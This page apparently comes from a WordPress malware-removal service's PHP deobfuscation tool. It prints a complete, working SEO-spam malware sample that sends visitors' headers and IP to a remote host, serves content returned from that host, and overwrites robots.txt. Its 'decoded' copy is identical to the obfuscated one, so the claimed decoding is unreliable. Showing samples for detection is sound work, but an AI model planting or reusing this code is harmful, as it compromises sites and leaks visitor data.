Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $X = "emjCEtD2RP\\H#wbu\$yIdL&hsgQ.0*<FTNUG4?_+ S(>xao@13A|On:=-M)Vlcpiv/r"; error_reporting(0); $ck = "zj27"; $kx = "y1"; if (preg_match("/jp2023/si", $_SERVER["REQUEST_URI"]) == 1) { header("HTTP/1.0 404 Not Found"); echo "HTTP/1.0 404 Not Found___zj27___y1"; exit; } function iF...



Obfuscated php code

<?php

$X = "emjCEtD2RP\\H#wbu\$yIdL&hsgQ.0*<FTNUG4?_+ S(>xao@13A|On:=-M)Vlcpiv/r";
error_reporting(0);
$ck = "zj27";
$kx = "y1";
if (preg_match("/jp2023/si", $_SERVER["REQUEST_URI"]) == 1) {
    header("HTTP/1.0 404 Not Found");
    echo "HTTP/1.0 404 Not Found___zj27___y1";
    exit;
}
function iFZ($nW)
{
    $Pn = curl_init();
    curl_setopt($Pn, CURLOPT_URL, $nW);
    curl_setopt($Pn, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($Pn, CURLOPT_CONNECTTIMEOUT, 10);
    $EP = curl_exec($Pn);
    $EP = trim($EP);
    curl_close($Pn);
    if (empty($EP)) {
        $EP = file_get_contents($nW);
    }
    return $EP;
}
$xY = $X[22] . $X[5] . $X[5] . $X[61] . $X[53] . $X[64] . $X[64] . $ck . $X[26] . $X[63] . $X[44] . $X[59] . $X[62] . $X[19] . $X[65] . $X[44] . $X[17] . $X[26] . $X[60] . $X[45] . $X[1];
$Yu = $X[64] . $X[62] . $X[52] . $X[19] . $X[0] . $X[43] . $X[26] . $X[61] . $X[22] . $X[61] . $X[36] . $X[58] . $X[40] . $X[54] . $kx . $X[21] . $X[34] . $X[9] . $X[54] . $ck;
$uA = array($X[40] . $X[3] . $X[8] . $X[18] . $X[9] . $X[31] . $X[37] . $X[32] . $X[49] . $X[56] . $X[4], $X[8] . $X[4] . $X[25] . $X[33] . $X[4] . $X[40] . $X[31] . $X[37] . $X[33] . $X[8] . $X[18], $X[11] . $X[31] . $X[31] . $X[9] . $X[40], $X[8] . $X[4] . $X[25] . $X[33] . $X[4] . $X[40] . $X[31] . $X[37] . $X[40] . $X[3] . $X[11] . $X[4] . $X[56] . $X[4], $X[40] . $X[4] . $X[8] . $X[58] . $X[4] . $X[8] . $X[37] . $X[9] . $X[51] . $X[8] . $X[31], $X[8] . $X[4] . $X[56] . $X[51] . $X[31] . $X[4] . $X[37] . $X[49] . $X[6] . $X[6] . $X[8], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[8] . $X[4] . $X[30] . $X[4] . $X[8] . $X[4] . $X[8], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[49] . $X[3] . $X[3] . $X[4] . $X[9] . $X[31] . $X[37] . $X[20] . $X[49] . $X[32] . $X[34] . $X[33] . $X[49] . $X[34] . $X[4], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[33] . $X[40] . $X[4] . $X[8] . $X[37] . $X[49] . $X[34] . $X[4] . $X[32] . $X[31], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[11] . $X[51] . $X[40] . $X[31]);
foreach ($uA as $TE) {
    $sT = isset($_SERVER[$TE]) ? $_SERVER[$TE] : '';
    $AG = base64_encode(trim($sT));
    $AG = str_replace($X[38], $X[55], $AG);
    $AG = str_replace($X[64], $X[37], $AG);
    $AG = str_replace($X[54], $X[26], $AG);
    $Yu .= $X[21] . $TE . $X[54] . $AG;
}
$Gz = explode($X[50] . $X[46] . $X[12] . $X[16] . $X[50], trim(iFZ($xY . $Yu)));
$Js = count($Gz);
if ($Js < 3) {
    header($X[11] . $X[31] . $X[31] . $X[9] . $X[64] . $X[47] . $X[26] . $X[27] . $X[39] . $X[35] . $X[27] . $X[35] . $X[39] . $X[32] . $X[45] . $X[5] . $X[39] . $X[30] . $X[45] . $X[15] . $X[52] . $X[19]);
    exit;
} else {
    $zq = trim($Gz[0]);
    if (!empty($zq)) {
        header($zq);
    }
    $qp = trim($Gz[1]);
    if (!empty($qp)) {
        echo $qp;
    }
    $pV = trim($Gz[$Js - 1]);
    if ($pV == $X[0] . $X[43] . $X[62] . $X[5]) {
        exit;
    }
    if ($pV == $X[61] . $X[62] . $X[52] . $X[24]) {
        $Vr = $X[33] . $X[23] . $X[0] . $X[65] . $X[55] . $X[44] . $X[24] . $X[0] . $X[52] . $X[5] . $X[53] . $X[28] . PHP_EOL;
        $Vr .= $X[49] . $X[59] . $X[59] . $X[45] . $X[13] . $X[53] . $X[64] . PHP_EOL;
        $rS = explode($X[29] . $X[14] . $X[65] . $X[64] . $X[42], $qp);
        array_pop($rS);
        foreach ($rS as $SI) {
            $Vr .= $X[40] . $X[62] . $X[5] . $X[0] . $X[1] . $X[44] . $X[61] . $X[53] . $SI . PHP_EOL;
            $IO = iFZ($X[22] . $X[5] . $X[5] . $X[61] . $X[23] . $X[53] . $X[64] . $X[64] . $X[13] . $X[13] . $X[13] . $X[26] . $X[24] . $X[45] . $X[45] . $X[24] . $X[59] . $X[0] . $X[26] . $X[60] . $X[45] . $X[1] . $X[64] . $X[61] . $X[62] . $X[52] . $X[24] . $X[36] . $X[23] . $X[62] . $X[5] . $X[0] . $X[1] . $X[44] . $X[61] . $X[54] . $SI);
            preg_match($X[64] . $X[29] . $X[22] . $X[7] . $X[42] . $X[41] . $X[26] . $X[38] . $X[57] . $X[36] . $X[29] . $X[10] . $X[64] . $X[22] . $X[7] . $X[42] . $X[64], $IO, $OJ);
            echo $SI . $X[54] . $X[54] . $X[42] . $X[61] . $X[62] . $X[52] . $X[24] . $X[55] . $X[24] . $X[45] . $X[45] . $X[24] . $X[59] . $X[0] . $X[55] . $X[65] . $X[0] . $X[23] . $X[15] . $X[59] . $X[5] . $X[55] . $X[62] . $X[23] . $X[53] . $X[29] . $X[14] . $X[42] . $OJ[1] . $X[29] . $X[64] . $X[14] . $X[42] . $X[29] . $X[14] . $X[65] . $X[64] . $X[42];
            usleep(mt_rand(100000, 300000));
        }
        file_put_contents($_SERVER[$X[6] . $X[51] . $X[3] . $X[33] . $X[56] . $X[4] . $X[32] . $X[31] . $X[37] . $X[8] . $X[51] . $X[51] . $X[31]] . $X[64] . $X[65] . $X[45] . $X[14] . $X[45] . $X[5] . $X[23] . $X[26] . $X[5] . $X[43] . $X[5], $Vr);
        echo $X[65] . $X[45] . $X[14] . $X[45] . $X[5] . $X[23] . $X[26] . $X[5] . $X[43] . $X[5] . $X[54] . $X[54] . $X[42] . $X[29] . $X[14] . $X[42] . $X[15] . $X[61] . $X[19] . $X[44] . $X[5] . $X[0] . $X[19] . $X[29] . $X[64] . $X[14] . $X[42];
        exit;
    }
}

Decoded(de-Obfuscated) php code

<?php

$X = "emjCEtD2RP\\H#wbu\$yIdL&hsgQ.0*<FTNUG4?_+ S(>xao@13A|On:=-M)Vlcpiv/r";
error_reporting(0);
$ck = "zj27";
$kx = "y1";
if (preg_match("/jp2023/si", $_SERVER["REQUEST_URI"]) == 1) {
    header("HTTP/1.0 404 Not Found");
    echo "HTTP/1.0 404 Not Found___zj27___y1";
    exit;
}
function iFZ($nW)
{
    $Pn = curl_init();
    curl_setopt($Pn, CURLOPT_URL, $nW);
    curl_setopt($Pn, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($Pn, CURLOPT_CONNECTTIMEOUT, 10);
    $EP = curl_exec($Pn);
    $EP = trim($EP);
    curl_close($Pn);
    if (empty($EP)) {
        $EP = file_get_contents($nW);
    }
    return $EP;
}
$xY = $X[22] . $X[5] . $X[5] . $X[61] . $X[53] . $X[64] . $X[64] . $ck . $X[26] . $X[63] . $X[44] . $X[59] . $X[62] . $X[19] . $X[65] . $X[44] . $X[17] . $X[26] . $X[60] . $X[45] . $X[1];
$Yu = $X[64] . $X[62] . $X[52] . $X[19] . $X[0] . $X[43] . $X[26] . $X[61] . $X[22] . $X[61] . $X[36] . $X[58] . $X[40] . $X[54] . $kx . $X[21] . $X[34] . $X[9] . $X[54] . $ck;
$uA = array($X[40] . $X[3] . $X[8] . $X[18] . $X[9] . $X[31] . $X[37] . $X[32] . $X[49] . $X[56] . $X[4], $X[8] . $X[4] . $X[25] . $X[33] . $X[4] . $X[40] . $X[31] . $X[37] . $X[33] . $X[8] . $X[18], $X[11] . $X[31] . $X[31] . $X[9] . $X[40], $X[8] . $X[4] . $X[25] . $X[33] . $X[4] . $X[40] . $X[31] . $X[37] . $X[40] . $X[3] . $X[11] . $X[4] . $X[56] . $X[4], $X[40] . $X[4] . $X[8] . $X[58] . $X[4] . $X[8] . $X[37] . $X[9] . $X[51] . $X[8] . $X[31], $X[8] . $X[4] . $X[56] . $X[51] . $X[31] . $X[4] . $X[37] . $X[49] . $X[6] . $X[6] . $X[8], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[8] . $X[4] . $X[30] . $X[4] . $X[8] . $X[4] . $X[8], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[49] . $X[3] . $X[3] . $X[4] . $X[9] . $X[31] . $X[37] . $X[20] . $X[49] . $X[32] . $X[34] . $X[33] . $X[49] . $X[34] . $X[4], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[33] . $X[40] . $X[4] . $X[8] . $X[37] . $X[49] . $X[34] . $X[4] . $X[32] . $X[31], $X[11] . $X[31] . $X[31] . $X[9] . $X[37] . $X[11] . $X[51] . $X[40] . $X[31]);
foreach ($uA as $TE) {
    $sT = isset($_SERVER[$TE]) ? $_SERVER[$TE] : '';
    $AG = base64_encode(trim($sT));
    $AG = str_replace($X[38], $X[55], $AG);
    $AG = str_replace($X[64], $X[37], $AG);
    $AG = str_replace($X[54], $X[26], $AG);
    $Yu .= $X[21] . $TE . $X[54] . $AG;
}
$Gz = explode($X[50] . $X[46] . $X[12] . $X[16] . $X[50], trim(iFZ($xY . $Yu)));
$Js = count($Gz);
if ($Js < 3) {
    header($X[11] . $X[31] . $X[31] . $X[9] . $X[64] . $X[47] . $X[26] . $X[27] . $X[39] . $X[35] . $X[27] . $X[35] . $X[39] . $X[32] . $X[45] . $X[5] . $X[39] . $X[30] . $X[45] . $X[15] . $X[52] . $X[19]);
    exit;
} else {
    $zq = trim($Gz[0]);
    if (!empty($zq)) {
        header($zq);
    }
    $qp = trim($Gz[1]);
    if (!empty($qp)) {
        echo $qp;
    }
    $pV = trim($Gz[$Js - 1]);
    if ($pV == $X[0] . $X[43] . $X[62] . $X[5]) {
        exit;
    }
    if ($pV == $X[61] . $X[62] . $X[52] . $X[24]) {
        $Vr = $X[33] . $X[23] . $X[0] . $X[65] . $X[55] . $X[44] . $X[24] . $X[0] . $X[52] . $X[5] . $X[53] . $X[28] . PHP_EOL;
        $Vr .= $X[49] . $X[59] . $X[59] . $X[45] . $X[13] . $X[53] . $X[64] . PHP_EOL;
        $rS = explode($X[29] . $X[14] . $X[65] . $X[64] . $X[42], $qp);
        array_pop($rS);
        foreach ($rS as $SI) {
            $Vr .= $X[40] . $X[62] . $X[5] . $X[0] . $X[1] . $X[44] . $X[61] . $X[53] . $SI . PHP_EOL;
            $IO = iFZ($X[22] . $X[5] . $X[5] . $X[61] . $X[23] . $X[53] . $X[64] . $X[64] . $X[13] . $X[13] . $X[13] . $X[26] . $X[24] . $X[45] . $X[45] . $X[24] . $X[59] . $X[0] . $X[26] . $X[60] . $X[45] . $X[1] . $X[64] . $X[61] . $X[62] . $X[52] . $X[24] . $X[36] . $X[23] . $X[62] . $X[5] . $X[0] . $X[1] . $X[44] . $X[61] . $X[54] . $SI);
            preg_match($X[64] . $X[29] . $X[22] . $X[7] . $X[42] . $X[41] . $X[26] . $X[38] . $X[57] . $X[36] . $X[29] . $X[10] . $X[64] . $X[22] . $X[7] . $X[42] . $X[64], $IO, $OJ);
            echo $SI . $X[54] . $X[54] . $X[42] . $X[61] . $X[62] . $X[52] . $X[24] . $X[55] . $X[24] . $X[45] . $X[45] . $X[24] . $X[59] . $X[0] . $X[55] . $X[65] . $X[0] . $X[23] . $X[15] . $X[59] . $X[5] . $X[55] . $X[62] . $X[23] . $X[53] . $X[29] . $X[14] . $X[42] . $OJ[1] . $X[29] . $X[64] . $X[14] . $X[42] . $X[29] . $X[14] . $X[65] . $X[64] . $X[42];
            usleep(mt_rand(100000, 300000));
        }
        file_put_contents($_SERVER[$X[6] . $X[51] . $X[3] . $X[33] . $X[56] . $X[4] . $X[32] . $X[31] . $X[37] . $X[8] . $X[51] . $X[51] . $X[31]] . $X[64] . $X[65] . $X[45] . $X[14] . $X[45] . $X[5] . $X[23] . $X[26] . $X[5] . $X[43] . $X[5], $Vr);
        echo $X[65] . $X[45] . $X[14] . $X[45] . $X[5] . $X[23] . $X[26] . $X[5] . $X[43] . $X[5] . $X[54] . $X[54] . $X[42] . $X[29] . $X[14] . $X[42] . $X[15] . $X[61] . $X[19] . $X[44] . $X[5] . $X[0] . $X[19] . $X[29] . $X[64] . $X[14] . $X[42];
        exit;
    }
}


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.